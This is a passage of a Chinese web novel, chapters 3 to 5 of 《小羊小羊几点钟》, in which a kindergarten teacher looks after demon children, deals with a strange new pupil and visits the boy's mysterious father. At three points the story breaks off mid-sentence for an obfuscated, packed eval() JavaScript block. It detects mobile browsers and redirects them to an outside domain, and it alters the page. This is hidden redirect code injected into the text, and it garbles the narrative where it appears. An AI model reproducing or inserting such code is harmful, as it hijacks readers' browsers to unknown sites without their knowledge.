《小羊小羊几点钟》 3. 第 3 章 “又来一个?” 杨思昭快有应激反应了,“又是小妖怪?” 周院长也有些尴尬,支吾了半天还是点头,“没办法,只有我们这儿能接收。” “为什么?” “小羊老师,幼儿园西南角有棵老槐树,你有印象吗?” “知道,许老师说那是一棵神树,市政几次派人开着吊车来移树,结果吊车一碰到树就熄火,一碰就熄——”杨思昭说到一半就愣住了,卡了两秒,忽然开窍,“您的意思不会是,那树真的是神树?” “是,是神树,能屏蔽妖族的行踪,保护他们不被妖王察觉到。” 杨思昭皱了皱眉头,“妖王,上次齐小姐也提了一句,到底是怎么回事?” 老院长笑了笑,“一直没跟你讲,怕你听了,思想上难以接受,不过现在你也没那么怕了,听听也无妨。” “妖族和我们人类世界不太一样,他们只有一个统治者,称为妖王。妖王无所不能,威慑四方,妖族在他的带领下,也算是安居乐业,过得越来越好。可是几百年前,发生了一件事,打破了妖族的宁静。” “妖王的老婆在怀孕之后,扔下妖王和孩子,独自逃到人间了!” “听说是妖族里出现了叛徒,给妖王夫人开了洵山的大门——” “洵山?”杨思昭不解发问。 “那是人族和妖族的分界山,出了洵山,便是人间了,”老院长解释完,继续道,“总之,妖王大怒,誓要找出叛徒,一时间闹得天翻地覆,曾经与妖王夫人交好的几位妖师都被牵连进去,生死难料。为了保护家族的血脉,他们只能把孩子们送到人间暂居。” “这个妖王,听起来好恐怖。” 杨思昭倒吸一口凉气,透过教室玻璃,看向里面闹成一团的五个小家伙,忍不住抱怨:“关这些孩子什么事呢?真是可恶。” “谁说不是呢。” 周院长话音刚落,忽然瞧见杨思昭的肩膀抖了一下,继而又见他浑身绷紧,警惕地看了过来,“小羊老师,你怎么了?” 杨思昭后知后觉,脊背发凉,“您……您怎么知道这些?” 周院长笑道:“你别怕,我和你一样是人类,只是我的爱人,她是一只妖。” 杨思昭惊诧不已。 老院长笑起来,皱纹就变得沟沟壑壑,可还是盖不住他提到夫人时,眼睛里流露出的爱意与思念,“妖能活几百岁,她不想看着我变老,非要去偷妖族珍贵的延年之气给我,结果被妖族的守卫发现了,罚她二十年牢狱,我就一直在人间等着她。” “二十年?” “是啊,二十年,也不是很久。” 杨思昭一时不知如何安慰,因为老院长看起来比他更轻松。 回到最初的话题,“那您说的,新来的孩子,也是受牵连的妖师家族的后代?” “是,他的监护人给我看了妖族的追杀令,班级里这几个孩子的父母身上都背着追杀令呢,身份是没问题的。” “什么时候来?” “明天吧。” 杨思昭点点头,这几天受到的冲击太大,以至于新来一只小妖怪,已经成了不痛不痒的惊吓,他很自然地接受了。 回到班级,圈圈和方小盼又吵起来了,杨思昭一进门,方小盼就扑到他怀里告状:“小羊老师,圈圈说我是八尾狐!我不是八尾狐,妈妈说我有九条尾巴的,只是在妈妈肚子里的时候,妹妹喜欢,就送了妹妹一条,我不是缺尾巴!” 杨思昭挠挠脑袋,僵笑道:“是啊,你怎么会是缺尾巴呢?” 圈圈冲上来,还没开口,方小盼就冲他喊:“你这个胖狗狼,我讨厌你!” 圈圈闻言立即吸气,可不管多用力吸,圆滚滚的肚子还是瘪不进去,他反驳不了,只好哭丧着脸说:“我也讨厌你!” 两个人你一言我一语地吵起来,一旁的妹妹方小望对此毫无兴趣,看了一眼就收回视线,握着水彩笔继续作画。 乐乐和小池两个小姑娘正趴在一起搭积木。听到声音,小池先起身,一路欢快地小跑,也扑到杨思昭怀里,软绵绵道:“小羊老师,你还没猜我是什么呢!” 杨思昭一边制止方小盼和圈圈打架,一边搂住小池,想了想:“这么喜欢跑来跑去,你是一只小蝴蝶吗?” “哈哈不是小蝴蝶,”小池凑到杨思昭的耳边,悄悄说,“小羊老师,其实我是一只锦斑鸟,我的羽毛可漂亮了。” 杨思昭恍然大悟,“怪不得你有这么多漂亮衣服,每天都换一个颜色。” “我的羽毛比我的衣服还漂亮!” 一旁的方小盼听到了,无差别攻击:“没有,她最近换毛了,是秃毛小鸟!” 小池“哇”的一声哭出来。 圈圈也跟着哭,小班长乐乐冲到他们之间维持秩序,方小盼依旧不服,叉着腰说:“我、我就是讨厌你们!” 杨思昭不由得捂住了自己的耳朵。 简直是噪音污染,算工伤。 正要制止,只见方小望放下画笔,缓缓起身走过来,一字一顿地开口:“你们再哭,小羊老师就不要我们了!” 教室里瞬间静得落针可闻。 “……” 杨思昭朝她举起大拇指。 果然小妖怪还得小妖怪治。 到了放学时间,家长们都来接孩子了,虽说种族不同,但爱子之心倒是别无二致,五个家长都不约而同地守在门口,方便孩子们第一时间看到他们。 杨思昭多注意了一眼齐妍的老公,这位姓顾的先生面相温柔,气质清朗,看起来像一位很好相处的大学教师。 “小羊老师,辛苦您了。”顾桓抱起乐乐,主动和杨思昭打了招呼。 “乐乐很乖的,顾先生您客气了。” 送走五个孩子,杨思昭照例收拾好桌椅,关闭门窗,拿起包出了幼儿园。 幼儿园的早午饭很丰盛,故而杨思昭在晚饭上就潦草些,走到不远处的包子店,买一只肉包,一根玉米。 正掏出手机准备付钱,余光却瞥见一个可疑的黑影,很小的黑影。 他一转头,那黑影就消失在街角了。 最近听了太多妖怪传说,他不免有些疑神疑鬼,急急付了钱,立即往家走。 半路他又回头看了一眼,那团小小的黑影似乎追了上来,他倏然停下脚步,心想:青天白日,人来人往,不管是妖是鬼,都不敢在大马路上对他做什么吧! 于是转过身,正要与之对峙,却听见一声“哎哟”,一个穿着黑色皮夹克的中年男人从身后揪出一个三四岁大的小孩。 小男孩穿着厚实的焦糖色羽绒服,戴着白色的针织帽,隐约能看见他漂亮的眉眼。 “哪里来的小孩?躲我腿后面干什么,你家长呢?” 男人不知轻重,揪着孩子的衣领,直接把他拎了起来,一旁的婆婆连忙说:“哎你轻一点,娃娃的颈椎哪里受得了?” 那孩子竟不哭不闹,也不挣扎,只是小脸越憋越红,快要撑不住的时候才伸手推搡男人的臂膀,男人不耐烦地松开他。孩子吓得张大嘴巴,下一秒就落入一个温暖的怀抱。 杨思昭抱住了他。 孩子仰起头,呆呆地望着杨思昭。 杨思昭平日里是个倡导大事化小,能笑笑绝不发火的人,也不知怎么了,只是看着那男人凶神恶煞地拎起孩子,他的心就不受控制地窒闷起来,几乎喘不过气。 他把孩子拢进怀里,掌心贴在孩子的后颈上轻轻地揉着,还不忘抬头质问男人,“这孩子招你惹你了,你要拿他撒气?” 男人毫无愧意,扬声道:“他冷不防地站我后面,谁知道他是不是想碰瓷?” 这话一出,旁边的路人都听不下去了,纷纷指责他,“什么人啊,这么小的孩子怎么碰瓷你?” 男人见状便板着脸离开了。 杨思昭还没解气,依旧拧紧眉头死死盯着男人的背影,半晌才想起怀里的孩子。 一低头,对上一双浅棕色的眼瞳。 静水湖面般的漂亮眼瞳里,全是杨思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852956|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昭的倒影。 小家伙正认真地看着他,眼睛都不眨一下。 杨思昭也看着他,小家伙的头发是卷曲柔软的,发顶蓬松,有几绺棕色的头发蜷在额前,风一吹就飞起来,看起来乖顺又可爱。他的皮肤很白,白到不见血色,但鼻尖泛着淡淡的粉,就像一只出生没多久的小羊羔。 “疼不疼啊?”杨思昭轻声问。 小家伙还是不吭声,只一动不动地盯着他,怎么都看不够似的。直到杨思昭准备放下他了,他才有些反应,慌忙伸手搂住杨思昭的脖颈,一股好闻的味道溢满杨思昭的鼻间。 像是奶酪味,又混杂着太阳晒过的毛毯味道,让他忍不住靠近了,闻了又闻。 就这样,和陌生的小朋友亲昵地抱了足足半分钟,杨思昭才惊觉自己的荒唐。 他立即放下小家伙,面对面问:“小朋友,你怎么一个人在这里,爸爸妈妈呢?” 小家伙也不说话,还想往他怀里靠,杨思昭立即扯住他,和他拉开了距离。 小家伙失落地垂下眼眸。 “叔叔带你去找爸爸妈妈好不好?” 杨思昭左右看了看,正准备握着小家伙的手,去附近问一问。谁料小家伙忽然挣开他,一扭身,朝着反方向跑去了。 “小朋友!” 杨思昭急忙去追,可一辆突如其来的出租车在他面前停下,等他绕开车子,小家伙的身形再次消失在街角了,不见踪影。 杨思昭独自站在街边,遥望着街角。 小家伙脸颊的温热依旧残留在他的颈间。 良久,他才转过身,继续往家的方向走。他不曾注意到,在他转身的瞬间,一辆通身漆黑的迈巴赫缓缓开出街角。 一只小手努力伸出车窗,还没挥动,就被另一只骨节分明的大手抓了回去。 . 杨思昭这一夜睡得并不好。 又做了那个梦。 梦里的男人似乎感知到他的辗转不安,将他抱得很紧,硬挺的胸膛贴着他的后背,将平稳的心跳传递给他。这一次,杨思昭没有挣扎也没有抵抗,就这样静静地站着。 但他依旧没有睡好,醒来时脑袋昏昏沉沉,眼睛涩痛,莫名像是哭了一夜。 收拾好东西,出门上班。 今天有新同学加入小(5)班,他特意提前了二十分钟到班,把桌椅和门窗玻璃都擦干净,准备了新的园服和餐具,还拿红纸剪了一只漂亮的小花,准备送给新来的小朋友。 因为情况特殊,小朋友的入园手续还没办齐,只有一张填写不完全的信息表。 名字叫陆眠,四岁。 照片没有,父母信息也缺失了。 换做其他幼儿园,是绝无可能接受这样一个来历不明的孩子的,但是,谁让他这儿是“小妖怪幼儿园”呢? “杨老师,孩子们来了。”同事喊他。 “好。”杨思昭擦擦手,走了出去。 乐乐已经在门口蹦蹦跳跳好一会儿了,一见到杨思昭就大声喊:“小羊老师!你走得好慢呀,我给你买的桂花糕都要凉啦!” “来啦来啦。” 杨思昭立即走上前牵住她的手。 五个小家伙排排队,开火车走进来,小脑袋歪来歪去,又齐齐仰起头朝杨思昭笑。 “小羊老师,”周院长喊住杨思昭,指了指门口,“新同学已经到了。” 差点忘了正事。 杨思昭立即回头,径直走到园门口,刚要打招呼,就猛然停下脚步。 竟然是昨天那个孩子。 穿着白色的羽绒服,背着小书包,脖子上挂着蓝色圆水杯,正孤零零地站在门口。 依旧很安静,很乖,不哭也不急,有人走过来就往旁边让一让。 “陆……陆眠小朋友?” 杨思昭迟疑地开口。 小家伙耳朵尖,一下子就听到了,眼睛登时睁得圆溜溜,朝杨思昭的方向仰起头,鼻尖泛起淡红。 那眼神可怜得,就像是等了杨思昭一百年。 4. 第 4 章 被某种突如其来的情绪驱使着,杨思昭不受控制地走上前,朝小家伙伸出了手,将他微微发凉的小手握在掌心。 小家伙张了张嘴,发出两个音节,杨思昭没听清,低头问他,他却不肯说了。 周院长走上来,“陆眠小朋友,你的爸爸妈妈没来吗?” 陆眠不回答,还是一个劲地盯着杨思昭。 就在这时,一个西装革履的男人关上后备箱,抱着两只大纸箱走了过来。 “您好,是杨老师吗?我是陆眠父亲的助理,您叫我小陈就好。”男人清瘦高挑,颇有些男生女相,黑西装白衬衫,却配了一条花里胡哨的彩色波纹领带。 “我是。”杨思昭朝他点头。 “实在抱歉,陆先生最近有些忙,不方便过来,这是眠眠在幼儿园可能需要的东西,有换洗衣服和室内鞋,还有被子和抱枕,都整理好了,是交给您吗?” “是的,给我就好。” “挺重的,我帮您搬进去。” 于是杨思昭牵着陆眠,带着小陈助理进了幼儿园,陆眠大概是第一次进幼儿园,有些紧张,突然间看到许多同龄的小孩子,立即将杨思昭的手攥得紧紧。 “眠眠是有些胆小的。” 小陈对杨思昭说:“眠眠出生之后,生了一场重病,陆先生将他安置在……类似于保温箱的地方,放了很久,可能有这方面的原因,导致他缺少接触人群的机会,所以性格和其他孩子不太一样。” 杨思昭低下头,陆眠正怯生生地望着四周,见到圈圈哼哧哼哧地跑过来,他吓得一抖,立即躲到杨思昭的腿后。 圈圈也被他吓了一跳,两手背在身后,皱着脑门打量这个新来的同学。 陆眠更不安了,直接把脸埋在杨思昭的腿上,鸵鸟埋沙似的一声不吭。 小陈朝杨思昭耸了耸肩膀,笑道:“您也看到了,就是这样的。” 这就有点棘手了。 杨思昭在心里叹了口气, 小陈将东西放下,又对陆眠交代了几句,就离开了。 他走出小班园,瞥了一眼老院长的位置,然后一侧身,悄悄走到幼儿园的西南角,离老槐树只有不到三米的距离。 “传说中的神树么?” 风吹动老槐树的枝桠,沙沙作响,似乎不欢迎这位不速之客。 陈此安眼底生寒,冷笑一声,抬手在空中划过,一截断枝便直直坠落。 “珍贵的妖族血脉……” “先生,您在这里做什么?” 周院长走了过来,陈此安瞬间变了脸色,一回身便是之前那副如沐春风的模样,笑着说:“陆先生特意让我过来拜拜这神树,希望神树能保佑眠眠在人间平平安安。” 周院长松了口气,扶了下眼镜框,笑道:“原来是这样啊,会的会的。” . “眠眠,这是你的园服和姓名牌。” 杨思昭坐在陆眠面前,把青绿色的园服递给他,“要不要小羊老师帮你穿?” 陆眠摇了摇头。 令杨思昭意外的是,陆眠的独立能力竟然很强。他低头一颗颗地解开羽绒服外的搭扣,又努力在领口翻出拉链头,小手用力攥着,一点点将拉链扯到最底。 “好厉害啊!”杨思昭拍了拍手。 陆眠的脸颊立即变得红扑扑。 他还是不爱说话,乖乖脱了羽绒服,穿上园服。 杨思昭将他拉到自己面前,帮他理好衣领,又摸了摸他额前的软发,温柔道:“眠眠,从今天开始,白天的时间都是由小羊老师照顾你哦。不管遇到什么事,哪怕是很小的事,都要第一时间告诉小羊老师,让小羊老师来帮你,好不好?” 陆眠点头。 “要不要和其他五个小朋友打个招呼?” 陆眠不点头也不摇头。 “小羊老师带着你,只需要告诉一下他们,你叫什么名字,好不好?” 陆眠这才同意。 杨思昭握住他的小手,把他牵到小圆桌旁边,五个小家伙正围坐着吃桂花糕,见到杨思昭,乐乐举起中间一份最大的桂花糕:“小羊老师,这是你的!” “谢谢乐乐,小羊老师待会儿吃,”杨思昭朝他们笑了笑,又问,“你们都不过来和新伙伴说说话吗?” 小班长乐乐一向起带头作用,举手道:“我先来,你好,我叫纪乐灵。” 杨思昭半圈着陆眠的腰,轻声哄他:“乐乐说了自己的名字,眠眠要不要把你的名字告诉她?” 陆眠低头揪住自己的衣摆。 杨思昭心想不好,这孩子该不会是小哑巴?正准备随便说几句圆个场,却听见耳边传来一句极小声的,“我叫陆眠。” 杨思昭愣了愣,立即道:“大家听到没有呀,新来的小朋友叫陆眠。” 听到陆眠说话,其他几个小家伙很快就接纳了他,方小盼还嚷嚷着要把自己的桂花糕分给陆眠吃,“我还没有吃呢,给陆眠!” 说着就要冲过来,杨思昭一时没拦住,方小盼已经捉住了陆眠的手。 杨思昭心想:完了,陆眠要吓坏了。 谁料更可怕的事情发生了。 就在方小盼捉住陆眠手的一瞬间,空气中忽然响起奇怪的“咻咻”两声,下一秒,方小盼的园服就落在地上。 ——他变成小狐狸了! 纵使已经见过一次,杨思昭还是没做好心理准备,吓得脸色苍白,下意识想要尖叫出声,又持着最后一丝理智,伸手死死捂住嘴,担心引来隔壁班的同事。 方小盼也呆住了。 他真的是一只八尾小狐狸,火红色的毛发油光水滑,尾巴高高扬起,在空中甩来甩去,像一簇熊熊燃烧的小火球。 见大家都盯着他的尾巴,方小盼变得很是慌乱,委屈巴巴地“嗷呜”了两声,就夹着尾巴躲到窗帘后面去了。 “怎、怎么会这样?”人类杨思昭对此一无所知。 圈圈平日里和方小盼最不对付,这时候却冲在最前头,他气呼呼地跑过来,叉着腰质问陆眠:“你手里藏着什么?” 陆眠怔怔地摇头。 圈圈不信,抓住陆眠的手。 下一秒,教室里多了一只小灰狼。 紧接着又多了一头小狮子、十条尾巴的小狐狸,还有一只飞来飞去的小鸟。 教室变成动物园了! “……” 杨思昭差点脑溢血。 “你们……你们……” 一低头,看见陆眠正一脸无辜地看着他,黑葡萄似的大眼睛扑闪扑闪。 杨思昭惊出一身冷汗,半晌才回魂,他蹲下来问陆眠:“这到底是怎么回事?怎么他们一碰你的手就变回原形了?” 陆眠摇头,把小手伸到杨思昭面前,五指开花,张到最大。 “老师知道你手里什么都没有,老师知道你不是故意的。”杨思昭勉强让自己镇定下来,想起老院长之前叮嘱的话。 ——让他们处在黑暗之中,就能变回原形了。 想到这里,杨思昭先起身,拉上教室的窗帘,又关了所有的灯,然后捡起地上的园服,拖出窗帘后面正在玩闹的小狐狸和小灰狼,将园服盖在他们身上。 方小盼和圈圈还没玩够,在园服里滚作一团,不是左边凸出一个拳头,就是右边漏出一条尾巴,完全没人配合。 杨思昭无奈只能压住园服的四个角,确保一点光都钻不进去。 “小羊老师要生气了!”他说。 园服下面瞬间安静。 两只终于变了回来,杨思昭用同样的方法,解决了其他三只小妖怪。等他帮所有光溜溜的小家伙穿好衣服,已经累得浑身大汗,瘫坐在地,只剩喘气的力气了。 等他缓过来,一转头,就看到五只“原住民”小妖怪挤作一团,充满敌意地盯着不远处的陆眠。 陆眠抱着自己的书包,不知所措地坐在角落里。 这可怎么办? 杨思昭只好出去请示院长,院长听了一惊,“一般来说,血脉不纯的小妖,遇到血脉浑厚的大妖,是会控制不住变回原形的。可是那五个小家伙都是血统最珍贵的妖族后裔啊,难道陆眠的父母是比五位妖师更厉害、妖力更加强势的大妖?” 院长自言自语,“这得是多恐怖的妖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852957|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 力,连孩子都这么厉害。” “这以后可怎么相处?那孩子本来就胆小内向,现在其他孩子都不愿意和他玩了。”杨思昭很是担心。 “你先别着急,先让他们不要碰陆眠,我再去联系一下陆眠的父亲。” “好。” 杨思昭只能先回去。 一推开门,五个小家伙还抱在一起,眼神一致对外,气呼呼地望向陆眠。 陆眠缩在墙角,低着头一动不动。 “我妈妈说了,除了我们之外的妖怪都是坏妖怪,你手上有法术!”方小盼说。 陆眠把头埋得更低。 杨思昭忍不住心疼,走过去,将他抱了出来,转头对五只说:“到吃饭时间了,哪个小朋友最先找到自己的餐盘,小羊老师就奖励一颗小星星哦。” 五只立即哄散,各自飞奔到橱柜里找餐盘。 杨思昭看了看怀里的陆眠,叹了口气,轻声安抚:“没事的,眠眠,这不是你的错。” 陆眠红着眼圈,把脸埋在杨思昭的颈窝里,良久才出声:“讨厌我。” 杨思昭一怔,“怎么会呢?他们只是害怕,不是讨厌你。” 陆眠显得很是沮丧。 “先吃饭好不好?”杨思昭把他放在桌边,和其他五只隔开距离。 圈圈只顾着吃,完全忘了刚才发生了什么,杨思昭还没进门,他就勾着脑袋问:“小羊老师,今天吃什么?” “今天有糖醋排骨和香煎豆腐,有没有小朋友想吃啊?” “有!”五只齐声喊。 杨思昭笑了笑,把餐盘放到他们面前。 到陆眠的时候,杨思昭擦了擦勺子,放到陆眠的手边,却半天不见他伸手。 “眠眠,没有你喜欢吃的吗?” 陆眠看了其他小朋友一眼,低头不语。 “怎么了?告诉小羊老师好不好?” 杨思昭顺着他的视线,看到他圆滚滚的袖子,半晌忽然反应过来——陆眠把手藏在袖子里,不敢伸出来。 “眠眠。” 杨思昭将陆眠半圈在自己的怀里,把陆眠的小手一点一点捉出来,告诉他:“你没有做错事,眠眠,没有人会怪你的。” 陆眠看起来还是很沮丧。 其他五只也没有主动和他交朋友的想法,乐乐挖了一块糖醋排骨,准备放到陆眠的碗里,想了想,还是塞进了自己的嘴里。 杨思昭顿感无奈。 小妖怪的世界也很复杂啊。 吃饭的时候,气氛已经很凝固了,午睡更是难上加难。 因为突然的变身,几只原住民都变得有些没安全感,原本都能在自己的小床上安稳睡觉的,现在都闹着要和杨思昭一起睡。 杨思昭没办法,只好把空调温度调高了几度,然后毯子铺在地上,让五个小家伙围在他身侧,盖上被子,轻声哄着他们。 小孩的情绪来得快,去得也快。 没几分钟,五只就睡得四仰八叉了。 杨思昭悄悄起身,去看小床里的陆眠。 陆眠孤零零地缩在被子里,抱着毛绒玩具,闭着眼,长而翘的睫毛伏在眼下,时而轻颤,显得愈发委屈。 “要不要老师抱抱?”杨思昭问。 陆眠立即睁开眼,呆了几秒,然后小心翼翼地钻进了杨思昭的怀抱。 杨思昭侧身倚在小床边,一手搂着陆眠,一手拍着他的屁股,又拉过被子,将小家伙拥在怀里,“老师陪着你呢,不怕。” 出生就体弱,父亲又忙得不见人。 真是个小可怜,杨思昭想。 也不知道怎么回事,他照顾过这么多孩子,也抱过许多孩子,唯独陆眠,每次抱他,心脏都有种说不出的酸涩。 “妈妈呢?妈妈也很忙吗?”他问。 陆眠忽然抬起头,呢喃了一声“妈妈”,杨思昭还没反应过来,老院长就从外面推门进来,蹑手蹑脚地走到他身边。 “小羊老师,跟你商量个事。” “院长?” 老院长压着嗓音说:“这陆先生联系不上,我不放心,要不你去做个家访?” 5.第 5 章 “家访?” 杨思昭还是第一次做幼儿园的家访,若是普通小朋友也就算了,这妖怪的家访该怎么做? 他脸色为难,越想越害怕,“您让我直接面对两个大……大妖?” 老院长说:“这个你不用担心,孩子的家长没有不尊重你的。再说了,他们来人间是避难的,怎么敢随意伤人?不怕传出消息,被妖王发现吗?” “也是。”杨思昭稍稍放心。 他翻出陆眠的信息表,地址一栏写着:旬水别墅。 四个字,没了。 他问老院长:“怎么就一个小区名?第几栋都没写,我该怎么找?” 老院长也觉得奇怪,连忙给消息灵通的朋友打去电话,几分钟后回来,神神秘秘道:“潜山上,好像就一栋别墅。” 杨思昭的心里忽然咯噔了一下,有一种不太妙的预感冉冉升起。 一切都很奇怪。 他透过教室玻璃,看向小床上的陆眠,小家伙还没睡着,趴在床边,小脸压在床边的护栏上,眼巴巴地望着门口。 小(5)班的所有孩子,都对杨思昭表现出极大的信任和依赖,但陆眠,好像有些不一样。他看向杨思昭的眼神,总是委屈的、眷眷不舍的,像是等了很久。 尽管今天之前,他们只见过一面。 他回到教室,陆眠立即闭上眼睛,乖乖钻进被子里,抱住毛绒玩偶。 杨思昭在他的小床边走下,帮他掖好被角。 等陆眠呼吸均匀,睡熟之后,杨思昭又走到其他孩子身边。小妖怪们的体温比普通孩子高一些,睡觉时总是踢开被子,大咧咧地把肚子露在外面。杨思昭耐心地帮他们整理好衣摆,掖好被子,快一点钟了,才去自己的床上合衣浅眠。 两点起床,洗手洗脸,吃小点心,学数学积木课,去小操场上做游戏。 和平常一样,只是陆眠明显参与不进去。 他的手还是缩在袖子里,不管是洗脸,还是做游戏,都不敢拿出来。 其他几个孩子也离他远远的。 玩滑梯的时候,方小盼第一个钻进去,滑下来,结果摔了个大跟头,鞋子都飞出去老远。陆眠见了,立即去帮他捡鞋子,小跑着送过去,方小盼本就吓了一跳,看见他,眼泪直接夺眶而出。 “你、你不要过来!” 小家伙们瞬间如临大敌。 陆眠只好放下鞋子,把脸埋在领子里,一个人蹲到跷跷板后面去了。 杨思昭此刻正在准备教具,听到隔壁老师的话,急急忙忙赶来,查看方小盼有没有受伤,幸好冬天园服厚实。杨思昭赶来的时候,方小盼已经完全忘了眼泪,猴子附体似的,到处爬上窜下。 杨思昭松了口气,一转头看见蹲在跷跷板后面,一个人刨沙子的陆眠。 他找来乐乐,对她说:“乐乐最懂事了,新来的眠眠小朋友和你们一样大,他不是故意伤害你们的,你看他现在都不敢把手伸出来了,你要不要主动过去,跟他说,不要害怕,我们做朋友吧?” 乐乐一个劲摇头,“小羊老师,我不要变回去,我妈妈会生气的。” 小班长都不敢,更别谈其他几个。 杨思昭叹了口气。 到底为什么,小妖怪们一碰到陆眠的手,就会变回原形呢? 做了二十三年人类的杨思昭自然百思不得其解,只能寄希望于今晚的家访。 他联系了小陈,询问是否可以家访。 小陈先是说:“抱歉,杨老师,这个我得请示一下陆先生。” 杨思昭心想:奇怪,不是妖怪么?怎么还有助理,见面还得请示,搞得像总裁一样,真是莫名其妙。 不出一分钟,陈此安就回电话了,“杨老师,我问过陆先生了,他说感谢您对眠眠的关心,很欢迎您来家访。” 杨思昭如释重负。 陈此安又说:“今晚放学之后,我来接您和眠眠,晚餐也由我来安排。” “谢谢了。” 四点半放学,天还亮着,所有家长都来接孩子了。为免事端,老院长特意嘱咐杨思昭,不要主动提上午发生的意外。 最后只剩下陆眠一个,杨思昭收拾好包,牵着他的手,坐进了陈此安的车。 陈此安朝他笑:“杨老师辛苦了。” 杨思昭打量了车里的装饰,他还没坐过这样的豪车,完美符合人体工学的真皮车座,内饰板上的实木纹理柔和了金属的冷冽光泽,扶手箱上放置着一杯热腾腾的咖啡,和一盘精致的甜点。 “路途有些远,您可以随便吃点。”陈此安说。 杨思昭受宠若惊,有些不适应。 他拿起一块小核桃蛋糕,转头望向陆眠,问他:“眠眠吃蛋糕吗?” 陆眠坐在儿童座椅里,摇了摇头,嘴巴微微撅起,看起来有些不开心。 “眠眠?” 陈此安在后视镜里看见了,说:“眠眠和陆先生……关系不太好。” “啊?” “陆先生平日里太忙了,也没有照顾孩子的经验,眠眠算是自己长大的。” 陈此安还想继续说,杨思昭拦住他,示意他不要在眠眠面前说这些。 杨思昭哄着眠眠吃了点小蛋糕,陪他说了会儿小话。而后汽车平稳行驶上山路,眠眠的眼皮就开始打架了,脑袋晃来晃去,不一会儿就睡着了。 杨思昭找到机会,压着声音问陈此安:“什么叫自己长大?” “眠眠会走路、会说话之后,陆先生回家的次数就少了,平日里都是佣人做好饭,陪眠眠吃,给他洗澡。其余时间都是眠眠一个人在房间里,和自己玩。” 杨思昭越听,眉头皱得越深,最后脱口而出一句:“他配做父亲吗?” 陈此安笑了笑,“没办法的,陆先生真的很忙,有很多重要的事要他处理。” 杨思昭怒气更重,“世界没了他还不转了?忙成这样,何必要小孩?” “世界没了他,还真是——” 陈此安说到一半停住,杨思昭又问:“那,那眠眠的妈妈呢?妈妈也忙吗?” “眠眠的妈妈,”陈此安从后视镜里看了一眼杨思昭,停顿片刻,才说,“眠眠的妈妈,在眠眠出生后就离开他了。” “是……去世了吗?” “不是,是陆先生和夫人之间的感情出了点问题。” 更隐私的问题,杨思昭也不好再问了,但他心里明白:问题一定出在这个陆先生身上,这人一定是个不负责任的渣男,伤了陆夫人的心,否则哪个母亲能舍下刚出生的孩子,独自离开呢? 还没见到面,杨思昭已经给这个男人打了差评,而且是负分差评。 路途比杨思昭想得更远,汽车行过一片郁郁森林,最后在别墅前停下。 与其说别墅,更像是缩小版的古堡,青灰色的外墙与圆形拱窗,透出一股古怪的肃穆气息。不知为何,杨思昭的呼吸变得有些沉重,甚至能感觉到自己的心跳。 他站在原地打量,正要做深呼吸,手指忽然被温暖的触感包裹住。 一低头,看到了陆眠。 小家伙试探着握住了他的手指。 杨思昭莞尔笑,反握住他的小手,晃了晃,说:“走吧,陪老师进去。” 走到门口,他屈指敲了敲门。 无人回应。 他又敲了几下,门里才隐约传来脚步声,并不匆忙的脚步声。 很快,门打开了。 令杨思昭意外的是,门外夕阳正落,余晖未尽,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14857035|159298||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门里竟然漆黑一片。 一个高大的身影时隐时现。 杨思昭从未如此不安,呼吸不畅,若不是眠眠抓着他的手,他甚至想转身逃跑。 下一秒,眼前骤亮,别墅在瞬息之间灯火通明,硕大的水晶吊灯从房顶垂落,将光线切割成万千碎点,汇聚到门口。 男人的面孔也随之清晰。 那是一张极其俊美的脸,棱角分明,五官立体而张扬,高耸的眉骨宛如山峦横亘在双眼之上,投下一片深邃的阴影,叫人无法看清他的眼神,周身萦绕着上位者的威压感。尚未靠近,杨思昭的颈后已经心跳如雷,冷汗涔涔,下意识移开了目光。 男人也没有开口。 风吹过树林,枝叶簌簌作响,远天有鸟雀啾啾归巢,时间似乎停滞在这一刻。 “好久不见。” 杨思昭条件反射地点头说“您好”,话音刚落突然反应过来,“什么?” 他一抬头,就对上了男人的视线。 男人眸色沉沉地看着他,直到杨思昭眼中的疑惑几乎满溢,才淡淡说了句:“杨老师有些面熟,我还以为是故人重逢。” 他声音低沉,如裹挟着雪山寒意。 杨思昭心想:我是人,你是妖,哪门子的故人重逢? “请进。” 男人松开门把,手臂随意地垂落,藏在黑色衬衣里的肌肉随着动作微微隆起,透着某种蓄势待发的危险。杨思昭一时不敢迈步,男人便往后退了一步,给他让出道路。 陆眠牵着杨思昭进了门。 杨思昭浑身都绷紧了,不敢打量四周,犹豫了好久,才坐到沙发上。 “陆、陆先生,我这次来,有两件事要做,一是麻烦您将陆眠的信息表填写完整,以便于之后的工作,二是,今天发生了一件事。” 